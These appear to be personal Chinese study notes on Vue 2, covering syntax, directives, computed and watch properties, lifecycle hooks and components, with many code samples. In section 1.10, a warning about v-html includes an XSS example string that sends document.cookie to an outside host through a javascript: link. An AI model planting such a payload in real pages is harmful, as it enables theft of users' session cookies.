[Study]Vue
文章目录
- 一、基础语法
- 1.1 概述
- 1.2 入门案例
- 1.3 el 与 data
- 1.4 MVVM
- 1.5 数据代理
- 1.6 事件处理
- 1.7 计算属性
- 1.8 监视属性
- 1.9 绑定样式
- 1.10 常用指令
- 1.11 自定义指令
- 1.12 列表数据处理
- 1.13 表单数据收集
- 1.14 过滤器
- 1.15 :key 作用与原理
- 1.16 数据监测原理
- 1.17 生命周期
- 二、组件化
- 2.1 概述
- 2.2 组件的定义和使用
- 2.3 VueComponent
- 三、脚手架
- 3.1 开发环境配置
- 3.2 render 函数
- 3.3 ref 引用
- 3.4 props 配置(组件通信)
- 3.5 mixin 混入
- 3.6 plugin 插件
- 3.7 localStorage
- 3.8 组件自定义事件(组件通信)
- 3.9 全局事件总线(组件通信)
- 3.10 消息订阅与发布(组件通信)
- 3.11 $nextTick
- 3.12 动画与过渡
- 3.13 TodoList 案例
- 3.14 配置代理
- 3.15 GitHub 案例
- 3.16 slot 插槽(组件通信)
- 四、vuex 插件
- 4.1 概述(组件通信)
- 4.2 搭建 Vuex 环境
- 4.3 求和案例
- 4.4 vuex 中的四种 map
- 4.5 vuex 模块化
- 五、vue-router 插件
- 5.1 概述
- 5.2 路由基本使用
- 5.3 嵌套与命名路由
- 5.4 路由参数
- 5.5 编程式路由导航
- 5.6 缓存路由组件
- 5.7 路由生命周期钩子
- 5.8 路由守卫
- 5.9 history 与 hash
- 六、Vue3
一、基础语法
1.1 概述
- Vue:一套用于构建用户界面的渐进式 JavaScript 框架。何为渐进式?是指 Vue 可以自底向上逐层地应用,也即按需引入 Vue 的各种组件
- Vue 的发展历程:2013(0.6.0)、2014(0.8.0)、2015(1.0.0)、2016(2.0.0)、2020(3.0.0)
- Vue 的特点:
- 采用组件化模式,提高代码复用率,易于维护
- 声明式编码,无需直接操作 DOM,提高开发效率
- 使用虚拟 DOM + 优秀的
Diff
算法,尽量复用 DOM 节点
1.2 入门案例
- 容器与 Vue 实例的关系:容器与 Vue 实例是一对一的关系,真实开发环境中只有一个 Vue 实例,并且会配合着组件一起使用
- 插值语法
{{}}
:用于解析标签体内容,{{xxx}} 插值语法中 xxx 要写 js 表达式,且 xxx 可以自动读取到data
中的所有属性,一旦 data 中的数据发生改变,那么页面中用到该数据的地方都会自动解析并更新 - 指令语法:用于解析标签属性,如
v-bind
等 - 数据绑定:
- 单向数据绑定(
v-bind
):v-bind:
可简写为:
- 双向数据绑定(
v-model
):只能用于表单类元素,v-model:value
可以简写为v-model
,因为 v-model 默认收集的就是表单元素的 value 值
- 单向数据绑定(
<!DOCTYPE html>
<html lang="zh-cn">
<head>
<meta charset="UTF-8">
<title>Vue 入门案例</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<!-- 插值语法 -->
<h1>Hello, {{ name.toUpperCase() }}</h1>
<!-- 指令语法 -->
<a v-bind:href="url">百度一下</a><hr/>
<!-- 数据绑定 -->
单向数据绑定(data -> 页面):<input type="text" v-bind:value="name"/><br/>
双向数据绑定(data <-> 页面):<input type="text" v-model:value="name">
</div>
<script type="text/javascript">
// 阻止 vue 在启动时生成生产提示
Vue.config.productionTip = false
new Vue({
// el 即 element 指明当前 vue 实例为哪个容器服务
el: '#root',
// data 用于存储数据,供 el 指定的容器使用
data: {
name: 'Spring-_-Bear',
url: 'https://baidu.com'
}
})
</script>
</body>
</html>
1.3 el 与 data
-
el 的两种写法:
// el 的第一种写法 new Vue({ el: '#root' }) // el 的第二种写法 const vm = new Vue({}) vm.$mount('#root')
-
data 的两种写法:
-
对象式:
data: { name: 'Spring-_-Bear' }
-
函数式:由 Vue 管理的函数不能写为箭头函数,否则 this 指向存在问题
// 函数式完整写法 data: function () { return { name: 'Spring-_-Bear' } } // 函数式简写写法 data() { return { name: 'Spring-_-Bear' } }
-
1.4 MVVM
-
MVVM:
- M(Model):模型,对应 data 数据
- V(View):视图,对应模板代码
- VM(ViewModel):视图模型,对应 Vue 实例对象
-
vm:data 中所有的属性最终都出现在了视图模型 vm 身上,vm 身上所有的属性以及 Vue 原型上的所有属性在模板中都可以直接使用
<div id="root"> <h1>{{ name }}</h1> <!-- vm 的 _data 属性,对应数据 data --> <h1>{{ _data }}</h1> <!-- Vue 的原型属性 $delete --> <h1>{{ $delete }}</h1> </div> <script type="text/javascript"> Vue.config.productionTip = false const vm = new Vue({ el: '#root', data: { name: 'Spring-_-Bear' } }) console.log(vm) </script>
1.5 数据代理
-
Object.defineProperty
即为实现数据代理的基本原理:<script type="text/javascript"> let number = 18; let person = { name: 'Spring-_-Bear', sex: '男' } Object.defineProperty(person, 'age', { // value: 18, // 设置 person 对象的 age 属性值为 18 // enumerable: true, // 控制属性是否可以被遍历,默认 false // writable: true, // 控制属性是否可以被修改,默认 false // configurable: true, // 控制属性是否可以被删除,默认 false // 当读取 person.age 时,get 函数自动调用,且返回值就是 person.age 的值 get: function () { return number; }, // 当修改 person.age 时,set 函数自动调用,且会收到具体修改的值 set(val) { number = val; } }) </script>
-
数据代理:通过一个对象代理对另一个对象的属性操作
<script type="text/javascript"> let obj1 = {age: 18}; let obj2 = {}; // obj2 代理 obj1 的属性操作 Object.defineProperty(obj2, 'age', { get() { return obj1.age; }, set(val) { obj1.age = val; } }) </script>
-
Vue 数据代理的基本原理:通过 vm 对象来代理 data 对象中属性的操作,如此可以更加方便地操作 data 中的数据
- 复制 data:将 data 对象中的属性复制到
vm._data
对象中 - _data 到 vm:通过
Object.defineProperty()
把vm._data
对象中所有属性添加到 vm 上 - getter/setter:为每一个添加到 vm 上的属性都指定一个
getter/setter
,在getter/setter
方法内部操作 data 对应的属性
- 复制 data:将 data 对象中的属性复制到
1.6 事件处理
-
事件绑定:使用
v-on:
或@
简写形式绑定对应的事件:<div id="root"> <!-- v-on:click:不传递参数 --> <button v-on:click="clickMe">点我呀(不传参)</button> <!-- @click:传递参数 --> <button @click="sayHello($event, 'Hello World')">说你好(传递参数)</button> </div> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el: '#root', /* * 受 Vue 管理的函数不要写成箭头函数,否则 this 对象为 Window 而非 vm */ methods: { clickMe(event) { // 事件对象即 button 按钮元素 console.log(event.target.innerText) }, sayHello(event, content) { // this -> vm console.log(this) alert(content) } } }) </script>
-
事件修饰符:
-
prevent:阻止事件的默认行为
<a @click.prevent="sayHello" href="https://baidu.com">走,百度两下</a>
-
stop:阻止事件冒泡
<div @click="sayHello"> <!-- 先阻止事件冒泡,后阻止事件默认行为 --> <button @click.stop.prevent="sayHello">点我呀</button> </div>
-
once:事件只触发一次
<button @click.once="sayHello">点击只生效一次哦</button>
-
capture:使用事件的捕获行为
<div @click.capture="sayHello('div1')" style="width: 100px; height: 100px; background: red"> div1 <!-- 点击 div2 时总是先输出 div1 再输出 div2 --> <div @click="sayHello('div2')" style="width: 50px; height: 50px; background: skyblue"> div2 </div> </div>
-
self:只有
event.target
是当前操作的元素才触发事件<div @click.self="sayHello" style="height: 500px; width: 500px; background: red"> <!-- 点击 button 时 div 的 click 事件不会响应 --> <button @click="sayHello">点我呀</button> </div>
-
passive:事件的默认行为立即执行,无需等待事件回调执行完毕
<div id="root"> <!-- 滚动条滑动事件 --> <ul @scroll="msg" style="height: 200px; width: 200px; background: red; overflow: auto"> <li style="height: 100px">1</li> <li style="height: 100px">2</li> <li style="height: 100px">3</li> <li style="height: 100px">4</li> <li style="height: 100px">5</li> </ul> <!-- 鼠标滚轮滚动事件,加上 passive 事件修饰符后立即滑动滑动条,无需等待 msg 回调执行完成 --> <ul @wheel.passive="msg" style="height: 200px; width: 200px; background: red; overflow: auto"> <li style="height: 100px">1</li> <li style="height: 100px">2</li> <li style="height: 100px">3</li> <li style="height: 100px">4</li> <li style="height: 100px">5</li> </ul> </div> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el: '#root', methods: { msg() { for (let i = 0; i < 100000; i++) { console.log('bear') } } } }) </script>
-
-
键盘事件:
-
Vue 中提供的按键别名,可直接用于绑定按键事件:
enter、delete、esc、space、tab、up、down、left、right
<div id="root"> enter:<input type="text" @keyup.enter="show"/><br/> <!-- Tab 键的功能是从当前元素失焦,较为特殊,需绑定 @keydown 按下事件 --> tab:<input type="text" @keydown.tab="show" placeholder="绑定 @keydown 事件"> </div> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el: '#root', methods: { show(e) { console.log(e.key, e.keyCode) } } }) </script>
-
Vue 未提供别名的按键,可以使用按键原始名称绑定,但多英文时注意要转为英文小写加短横线连接方式如
caps-lock
大小写切换提示:<input type="text" @keyup.caps-lock="show"/>
-
系统修饰键用法特殊:
ctrl、alt、shift、meta
(即 win 键)-
配置
@keydown
使用时:正常触发事件 -
配合
@keyup
使用时:按下修饰键的同时按下其它键,释放其它键时事件才被触发Ctrl + Y 释放 Y 时触发事件:<input type="text" @keyup.ctrl="show">
-
-
1.7 计算属性
-
姓名案例使用函数方式实现:
<div id="root"> 姓:<input type="text" v-model="firstName"><br> 名:<input type="text" v-model="lastName"><br> 全名:<span>{{ fullName() }}</span> </div> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el: '#root', data: { firstName: '张', lastName: '三' }, methods: { fullName() { return this.firstName + '-' + this.lastName } } }) </script>
-
姓名案例使用计算属性实现:
computed
计算属性与methods
方法实现相比有读取缓存机制,效率更高、调试方便<div id="root"> 姓:<input type="text" v-model="firstName"><br> 名:<input type="text" v-model="lastName"><br> 全名:<span>{{ fullName }}</span> </div> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el: '#root', data: { firstName: '张', lastName: '三' }, computed: { fullName: { /* * get() 调用时机: * 1. 初次读取 fullName 属性时 * 2. fullName 所依赖的数据发生变化时 */ get() { return this.firstName + '-' + this.lastName; }, /* * set(val) 调用时机:fullName 被修改时 */ set(val) { let arr = val.split('-'); this.firstName = arr[0]; this.lastName = arr[1]; } } } }) </script>
-
姓名案例计算属性的简写形式:
computed: { // 当计算属性只读不改时可使用以下简写方式 fullName() { return this.firstName + '-' + this.lastName; } }
1.8 监视属性
-
监视属性的第一种配置方式
watch
:<div id="root"> <h1>今日天气:{{ weather }}</h1> <button @click="isHot = !isHot">变天咯</button> </div> <script type="text/javascript"> Vue.config.productionTip = false const vm = new Vue({ el: '#root', data: { isHot: true }, computed: { weather() { return this.isHot ? '炎热' : '凉爽'; } }, watch: { // 监视数据 isHot: { // immediate: true 初始化完成立即监视一次 isHot 的变化 immediate: true, handler(newValue, oldValue) { console.log(newValue, oldValue) } }, // 监视计算属性 weather: { handler(newValue, oldValue) { console.log(newValue, oldValue) } } } }) </script>
-
监视属性的第二种配置方式
vm.$watch()
:// 第二种监视方式 vm.$watch('isHot', { handler(newValue, oldValue) { console.log(newValue, oldValue) } })
-
监视属性的简写形式:当监视的属性不需要其它配置项时可简写 handler 函数
watch: { isHot(newValue, oldValue) { console.log(newValue, oldValue) } }
-
监视属性的深度监视配置:
<div id="root"> <h1>a = {{ numbers.a }}</h1> <button @click="numbers.a++">a++</button> <h1>d = {{ numbers.b.c.d }}</h1> <button @click="numbers.b.c.d++">d++</button> </div> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el: '#root', data: { numbers: { a: 1, b: { c: { d: 1 } } } }, watch: { // 监视多级数据结构中某个属性的变化 'numbers.a': { handler(newVal, oldVal) { console.log('a: ' + oldVal + ' -> ' + newVal) } }, // 监视多级数据结构中所有属性的变化 numbers: { // 开启深度监视 deep: true, handler() { console.log('numbers 发生了变化') } } } }) </script>
-
监视属性对比计算属性:computed 能完成的功能 watch 都可以完成,watch 能完成的功能 computed 不一定能完成,如 watch 可以进行异步操作等
<div id="root"> 姓:<input type="text" v-model="firstName"><br> 名:<input type="text" v-model="lastName"><br> 全名:<span>{{ fullName }}</span> </div> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el: '#root', data: { firstName: '张', lastName: '三', fullName: '张-三' }, watch: { firstName(newVal) { this.fullName = newVal + '-' + this.lastName; }, lastName(newVal) { /* * 所有被 Vue 管理的函数最好写成普通函数,这样 this 的指向才是 vm 或组件实例对象 * 所有不被 Vue 管理的函数(定时器的回调函数、ajax 的回调函数、Promise 的回调函数等)最好写成箭头函数,这样 this 的指向才是 vm 或组件实例对象 */ setTimeout(() => { this.fullName = this.firstName + '-' + newVal; }, 3000); } } }) </script>
1.9 绑定样式
-
绑定 class 样式之字符串写法:适用于样式的类名不确定,需要动态绑定
<div id="root"> <!-- 绑定 class 样式:字符串写法 --> <div class="basic" :class="changeMood">{{ name }}</div> </div> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el: '#root', data: { name: 'Spring-_-Bear', mood: 'happy', }, methods: { changeMood() { const arr = ['happy', 'sad', 'normal']; this.mood = arr[Math.floor(Math.random() * 3)] } } }) </script>
-
绑定 class 样式之数组写法:适用于要绑定的样式个数不确定,类名也不确定
<div id="root"> <!-- 绑定 class 样式:数组写法 --> <div class="basic" :class="classArr">{{ name }}</div> </div> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el: '#root', data: { name: 'Spring-_-Bear', mood: 'happy', classArr: ['sad', 'happy', 'funny'] } }) </script>
-
绑定 class 样式之对象写法:适用于要绑定的样式个数确定、类名也确
<div id="root"> <!-- 绑定 class 样式:对象写法 --> <div class="basic" :class="classObj">{{ name }}</div> </div> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el: '#root', data: { name: 'Spring-_-Bear', mood: 'happy', classObj: { sad: true, happy: false } } }) </script>
-
绑定 style 样式之对象写法:
<div id="root"> <!-- 绑定 style 样式:对象写法 --> <div style="padding: 10px" :style="styleObj">{{ name }}</div> </div> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el: '#root', data: { name: 'Spring-_-Bear', styleObj: { fontSize: '40px' } }, }) </script>
-
绑定 style 样式之数组对象写法:
<div id="root"> <!-- 绑定 style 样式:数组对象写法 --> <div style="padding: 10px" :style="styleArrObj">{{ name }}</div> </div> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el: '#root', data: { name: 'Spring-_-Bear', styleArrObj: [ {fontSize: '40px'}, {backgroundColor: 'red'} ] }, }) </script>
1.10 常用指令
-
条件渲染指令:
v-show
:控制元素的display
属性从而实现元素展示与隐藏v-if
:从document
中增、删对应的 DOM 元素
<div id="root"> <h1>n = {{ n }}</h1> <button @click="n++">n++</button> <!-- v-show:display none --> <div v-show="n === 3">n == 3</div> <!-- v-if:增、删节点 --> <div v-if="n < 1">n < 1</div> <div v-else-if="n >= 1 && n < 5">1 <= n < 5</div> <div v-else>n >= 5</div> <!-- template 只能与 v-if 配合使用 --> <template v-if="n === 1"> <h1>北京</h1> <h1>欢迎</h1> <h1>您</h1> </template> </div> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el: '#root', data: { n: 1 } }) </script>
-
列表渲染指令
v-for
:<div id="root"> <h1>v-for 遍历数组</h1> <ul> <!-- in 也可以换为 of --> <li v-for="(item,index) in persons" :key="item.id"> {{ index }}-{{ item.name }}-{{ item.age }} </li> </ul> <h1>v-for 遍历对象</h1> <ul> <li v-for="(val,key,index) in car" :key="index"> {{ key }} : {{ val }} </li> </ul> <h1>v-for 遍历数字</h1> <ul> <li v-for="(val,index) in 5" :key="index"> {{ index }} : {{ val }} </li> </ul> <h1>v-for 遍历字符串</h1> <ul> <li v-for="(val,index) in 'HelloWorld'" :key="index"> {{ index }} : {{ val }} </li> </ul> </div> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el: '#root', data: { persons: [ {id: '001', name: '张三', age: 3}, {id: '002', name: '李四', age: 4}, {id: '003', name: '王五', age: 5}, ], car: { name: '奥迪', color: '红色', price: '50w' } } }) </script>
-
元素文本指令
v-text
:<div id="root"> <!-- 以下两种方式等价,均将 name 解析为 div 中的文本值 --> <div>{{name}}</div> <div v-text="name"></div> </div>
-
内置 html 结构指令
v-html
:v-html 存在安全性问题,在网站上动态渲染任意 HTML 都是非常危险的行为,容易导致 XSS 攻击<div id="root"> <div v-text="'<h1>Hello World!</h1>'"></div> <div v-html="'<h1>Hello World!</h1>'"></div> <div v-html="str"></div> </div> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el: '#root', data: { // XSS 攻击示例 str: '<a href=javascript:location.href="https://baidu.com?"+document.cookie>兄弟快来,这儿有好东西!</a>' }, }) </script>
-
元素渲染一次指令
v-once
:v-once 修饰的节点在初次动态渲染完成后就视为静态内容,不再发生变化,可以用于性能优化<div id="root"> <!-- 第一次读取 n 值后不再发生变化 --> <div v-once>初始值 n = {{ n }}</div> <div>现在值 n = {{ n }}</div> <button @click="n++">n++</button> </div>
-
免编译指令
v-pre
:v-pre 指令修饰的节点 Vue 不进行编译,可加快页面加载速度<div id="root"> <div v-pre>初始值 n = {{ n }}</div> <div>现在值 n = {{ n }}</div> <button @click="n++">n++</button> </div>
-
v-clock
指令:v-cloak 指令配合 css 样式可以解决因网速慢导致页面展示出 {{xxx}} 的问题<!DOCTYPE html> <html lang="zh-cn"> <head> <meta charset="UTF-8"> <title>Title</title> <script type="text/javascript" src="../js/vue.js"></script> <style> [v-cloak] { display: none; opacity: 100%; } </style> </head> <body> <div id="root"> <div> <h1>姓名:</h1> <!-- new Vue 实例创建完成并接管 #root 容器时,v-cloak 属性会被自动删除 --> <h1 v-cloak>{{ name }}</h1> </div> </div> </body> </html>
1.11 自定义指令
-
函数式自定义局部指令:自定义指令函数中的
this -> Window
<div id="root"> <div>n = {{ n }}</div> <!-- 通过自定义指令实现 n *= 10 --> <div>n * 10 = <span v-multiply="n"></span></div> <button @click="n++">n++</button> </div> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el: '#root', data: { n: 1 }, // 自定义局部指令 directives: { /* * multiply 函数何时被调用: * 1. 指令与函数成功绑定时 * 2. 指令所在的模板被重新解析时 */ multiply(element, binding) { /* 此处的 this 指向 Window */ element.innerText = binding.value * 10; } } }) </script>
-
对象式自定义局部指令:自定义指令函数中的
this -> Window
<div id="root"> <div v-text="num"></div> <button @click="num++">num++</button> <!-- 通过自定义指令实现页面加载完成时自动聚焦 --> <input type="text" v-myfocus:value="num"> </div> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el: '#root', data: { num: 1 }, // 自定义局部指令 directives: { myfocus: { // 指令与函数成功绑定时调用 bind(element, binding) { element.value = binding.value }, // 元素被插入到页面后调用 inserted(element, binding) { element.focus() }, // 指令所在的模板被重新解析时调用 update(element, binding) { element.value = binding.value } } } }) </script>
-
自定义全局指令,可供多个 Vue 实例使用:
<div id="root"> <div>n = {{ n }}</div> <!-- 通过自定义全局指令实现 n *= 10 --> <div>n * 10 = <span v-multiply="n"></span></div> <button @click="n++">n++</button> </div> <script type="text/javascript"> Vue.config.productionTip = false // 自定义全局指令,可供多个 Vue 实例使用 Vue.directive('multiply', function (element, binding) { element.innerText = binding.value * 10; }); new Vue({ el: '#root', data: { n: 1 } }) </script>
1.12 列表数据处理
-
列表数据过滤之监视属性实现:
<div id="root"> <input type="text" v-model="keyWord" placeholder="请输入关键字"> <ul> <li v-for="p in filterPersons" :key="p.id">{{ p.name }}</li> </ul> </div> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el: '#root', data: { keyWord: '', persons: [ {id: '001', name: '马冬梅'}, {id: '002', name: '周冬雨'}, {id: '003', name: '周杰伦'}, {id: '004', name: '蔡家伦'} ], // 存储过滤后的 persons 信息 filterPersons: [] }, watch: { keyWord: { // 加载完成就立即监视一次以显示数据 immediate: true, handler(newVal) { this.filterPersons = this.persons.filter((p) => { return p.name.indexOf(newVal) !== -1; }); } } } }) </script>
-
列表数据过滤之计算属性实现:
<div id="root"> <input type="text" v-model="keyWord" placeholder="请输入关键字"> <ul> <li v-for="p in filterPersons" :key="p.id">{{ p.name }}</li> </ul> </div> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el: '#root', data: { keyWord: '', persons: [ {id: '001', name: '马冬梅'}, {id: '002', name: '周冬雨'}, {id: '003', name: '周杰伦'}, {id: '004', name: '蔡家伦'} ] }, computed: { filterPersons() { return this.persons.filter((p) => { return p.name.indexOf(this.keyWord) !== -1; }); } } }) </script>
-
列表数据排序:
<div id="root"> <input type="text" v-model="keyWord" placeholder="请输入关键字"> <button @click="sortType = 0">原顺序</button> <button @click="sortType = 1">年龄升序</button> <button @click="sortType = 2">年龄降序</button> <ul> <li v-for="p in filterPersons" :key="p.id">姓名:{{ p.name }} 年龄:{{ p.age }}</li> </ul> </div> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el: '#root', data: { keyWord: '', sortType: 0, persons: [ {id: '001', name: '马冬梅', age: 12}, {id: '002', name: '周冬雨', age: 5}, {id: '003', name: '周杰伦', age: 34}, {id: '004', name: '蔡家伦', age: 21} ] }, computed: { filterPersons() { const resArr = this.persons.filter((p) => { return p.name.indexOf(this.keyWord) !== -1; }); // 对过滤后的结果进行排序 if (this.sortType) { resArr.sort((p1, p2) => { return this.sortType === 1 ? p1.age - p2.age : p2.age - p1.age; }); } return resArr; } } }) </script>
1.13 表单数据收集
<div id="root">
<!-- prevent 阻止表单的默认提交行为 -->
<form @submit.prevent="register">
<!-- trim 修饰符去除字符串前后空格 -->
账户:<input type="text" v-model.trim="user.account"><br/><br/>
密码:<input type="password" v-model.trim="user.password"><br/><br/>
<!-- number 修饰符将输入内容转换为数字 -->
年龄:<input type="number" v-model.number="user.age"><br/><br/>
性别:
<input type="radio" name="sex" value="male" v-model="user.sex">男
<input type="radio" name="sex" value="female" v-model="user.sex">女
<br/><br/>
爱好:
<input type="checkbox" value="programming" v-model="user.hobbies">编程
<input type="checkbox" value="read" v-model="user.hobbies">阅读
<input type="checkbox" value="sleep" v-model="user.hobbies">睡觉
<br/><br/>
校区:
<select v-model="user.school">
<option value="请选择校区">请选择校区</option>
<option value="yu">余家头</option>
<option value="ma">马房山</option>
<option value="nan">南湖</option>
</select>
<br/><br/>
<!-- lazy 修饰符意为懒加载即当前元素失焦后收集 -->
其它:<textarea v-model.lazy="user.comments"></textarea>
<br/><br/>
<input type="checkbox" v-model="user.agree"> 阅读并同意 <a href="https://baidu.com">《用户协议》</a>
<br/><br/>
<button>提交</button>
</form>
</div>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
user: {
account: '',
password: '',
age: '',
sex: 'male',
hobbies: [],
school: '请选择校区',
comments: '',
agree: false
}
},
methods: {
register() {
console.log(JSON.stringify(this.user))
}
}
})
</script>
1.14 过滤器
Vue 过滤器的功能是对要显示的数据进行格式化后,其并没有改变原本的数据,只是产生新的对应的数据。过滤器并不是必须要用的东西,它只是 Vue 给我们提供的新的数据处理方式,过滤器能做到的,用计算属性、methods方法依然可以实现
<!-- <script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.11.5/dayjs.min.js"></script> -->
<div id="root">
计算属性实现 Datetime:{{ computedDatetime }} <br/><br/>
方法实现 Datetime: {{ methodsDatetime(Date.now()) }} <br/><br/>
<!-- 插值语法中使用过滤器 -->
过滤器实现 Datetime: {{ Date.now() | timeFormatter }} <br/><br/>
<!-- 数据绑定中使用过滤器 -->
过滤器传参实现 Date: <span :text="Date.now() | timeFormatter('YYYY-MM-DD')"></span> <br/><br/>
多级过滤器 Year:{{ Date.now() | timeFormatter('YYYY-MM-DD') | mySlice }}
</div>
<script type="text/javascript">
Vue.config.productionTip = false
// 全局过滤器,多个 Vue 实例可用
Vue.filter('mySlice', function (val) {
return val.slice(0, 4);
});
new Vue({
el: '#root',
data: {},
computed: {
computedDatetime() {
return dayjs().format('YYYY-MM-DD HH:mm:ss')
}
},
methods: {
methodsDatetime(now) {
return dayjs(now).format('YYYY-MM-DD HH:mm:ss')
}
},
filters: {
// 若调用 timeFormatter 过滤器时传入了 formatStr 则使用传入值,否则使用默认值
timeFormatter(val, formatStr = 'YYYY-MM-DD HH:mm:ss') {
return dayjs(val).format(formatStr)
}
}
})
</script>
1.15 :key 作用与原理
-
:key
作用:用于标识当前元素的唯一性,利于 Vue 中元素 Diff 算法的比较<ul> <!-- in 也可以替换为 of --> <li v-for="(item,index) in persons" :key="item.id"> {{ index }}-{{ item.name }}-{{ item.age }} </li> </ul>
-
:key
使用index
作为元素唯一标识容易产生的问题:- 当对 data 中的数据进行逆序添加、逆序删除等
破坏顺序
的操作时,会产生不必要的真实 DOM 更新,效率低 - 当页面结构中还存在输入类的 DOM 时,会产生错误的 DOM 更新,如下图所示:
<div id="root"> <h1>v-for 遍历数组</h1> <ul> <li v-for="(item,index) in persons" :key="index"> {{ index }}-{{ item.name }}-{{ item.age }} <input type="text"> </li> </ul> <button @click="addPerson">添加</button> </div> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el: '#root', data: { persons: [ {id: '001', name: '张三', age: 3}, {id: '002', name: '李四', age: 4}, {id: '003', name: '王五', age: 5}, ] }, methods: { addPerson() { const p = {id: '004', name: '赵六', age: 6} this.persons.unshift(p); } } }) </script>
- 当对 data 中的数据进行逆序添加、逆序删除等
-
Vue 中 :key 的内部原理:
- key 是虚拟 DOM 的唯一标识,当数据发生变化时, Vue 会根据新数据生成新的虚拟 DOM,随后进行新虚拟 DOM 与旧虚拟 DOM 的 Diff 差异比较
- 若旧虚拟 DOM 中找到了与新虚拟 DOM 相同的 key 且若内容未发生变化则使用之前的真实 DOM,否则根据新的虚拟 DOM 生成新的真实 DOM 并替换页面中真实 DOM
1.16 数据监测原理
-
模拟 Vue 监测对象数据 data:
<script type="text/javascript"> let data = { 'name': 'Spring-_-Bear', 'age': 18 } // 创建一个监视实例对象,用于检测 data 的变化 const obs = new Observer(data); let vm = {}; vm._data = data = obs; function Observer(obj) { const keys = Object.keys(obj); // 遍历为每个 key 生成 getter 和 setter keys.forEach((key) => { // this 指向 Observer 实例对象 Object.defineProperty(this, key, { get() { console.log('Data got successfully') return obj[key]; }, set(newVal) { console.log('Data has changed!'); obj[key] = newVal; } }) }); } </script>
-
vm.$set()
给对象追加属性以实现数据响应式监测:<div id="root"> <h1>学生信息</h1> <button @click="addSex('男')">添加学生性别</button> <button v-if="student.sex" @click="student.sex = student.sex === '男'? '女' : '男'">修改学生性别</button> <p>姓名:{{ student.name }}</p> <p>年龄:{{ student.age }}</p> <p v-if="student.sex">性别:{{ student.sex }}</p> </div> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el: '#root', data: { student: { name: 'Spring-_-Bear', age: 22 } }, methods: { addSex(val) { this.$set(this.student, 'sex', val); } } }) </script>
-
Vue 监测数组数据变化:Vue 将被侦听的数组的
变更方法
进行了包裹,通过这些方法操作数组数据也会触发视图更新。这些被包裹过的方法包括:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
<div id="root"> <h1>学生信息</h1> <p>姓名:{{ student.name }}</p> <p>年龄:{{ student.age }}</p> <p>爱好如下:</p> <ul> <li v-for="(h,index) in student.hobbies" :key="index">{{ h }}</li> </ul> <!-- push()、pop()、shift()、unshift()、splice()、sort()、reverse() --> <button @click="student.hobbies.splice(0, 1, '睡觉')">修改爱好</button> </div> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el: '#root', data: { student: { name: 'Spring-_-Bear', age: 22, hobbies: ['学习', '钓鱼', '阅读'] } }, }) </script>
-
Vue 数据监测原理:会监视 data 中所有层次的数据
- 如何监测对象中的数据:通过 setter 实现数据监测,需要在创建 Vue 实例时就传入要监测的数据。对于对象中后追加的属性,Vue 默认不做响应式处理,若需实现响应式需使用如下 API:
Vue.set(target, propertyName/index, value)
vm.$set(target, propertyName/index, value)
Vue.set()
和vm.$set()
不能给 vm 或 data 追加属性
- 如何监测数组中的数据:通过包裹数组更新元素的方法实现监测数组中的数据
- 如何监测对象中的数据:通过 setter 实现数据监测,需要在创建 Vue 实例时就传入要监测的数据。对于对象中后追加的属性,Vue 默认不做响应式处理,若需实现响应式需使用如下 API:
1.17 生命周期
-
生命周期:又名生命周期回调函数、生命周期函数、生命周期钩子,是一些在关键时刻 Vue 调用的特殊名称的函数。生命周期函数的名字不可更改,但函数体内容由程序员实现,函数中的 this 对象指向 vm 或组件实例对象
-
mounted 挂载函数的基本使用:
<div id="root"> <!-- 若隐若现 --> <div :style="{opacity: opacity}">Spring-_-Bear 学 Vue</div> </div> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el: '#root', data: { opacity: 0 }, // Vue 完成模板的解析并把初始的真实 DOM 放入页面调用 mounted 函数,即挂载完成后调用 mounted() { setInterval(() => { if (this.opacity > 1) { this.opacity = 0; } this.opacity += 0.01; }, 20); } }) </script>
-
生命周期流程图:
-
生命周期的注意事项:
destoryed
:销毁后借助 Vue 开发者工具看不到任何信息;自定义事件会失效,但原生 DOM 事件依然有效beforeDestroy
:一般不会在 beforeDestroy 中操作数据,即使操作了数据也不会触发更新流程
二、组件化
2.1 概述
-
组件:实现应用中局部功能代码和资源的集合
-
Vue 实例中
template
配置项的使用:<div id="root"> <!-- 当从 template 中渲染页面时,<div id="root"> 中定义的属性将全部丢失 --> <h1>Vue</h1> </div> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el: '#root', template: ` <div> <div>Spring-_-Bear 学 Vue</div> <span>Hello World!</span> </div> ` }) </script>
2.2 组件的定义和使用
-
组件定义和使用的注意事项:
- el 不能配置:因为所有的组件最终都要经过一个 vm 的管理,由 vm 中的 el 决定所有的组件服务于哪个容器
- data 必须写成函数:目的是避免组件被复用时数据间存在引用关系
- 组件名:
kebab-case
风格,如 my-schoolCamelCase
风格,如 MySchool(需要 Vue 脚手架支持)
- 组件使用:
- 双标签写法:例如
<school></school>
- 单标签写法:例如
<school/>
,不使用脚手架时会导致后续组件不能渲染
- 双标签写法:例如
- 组件定义的简写方式:
const school = Vue.extend(options)
=>const school = options
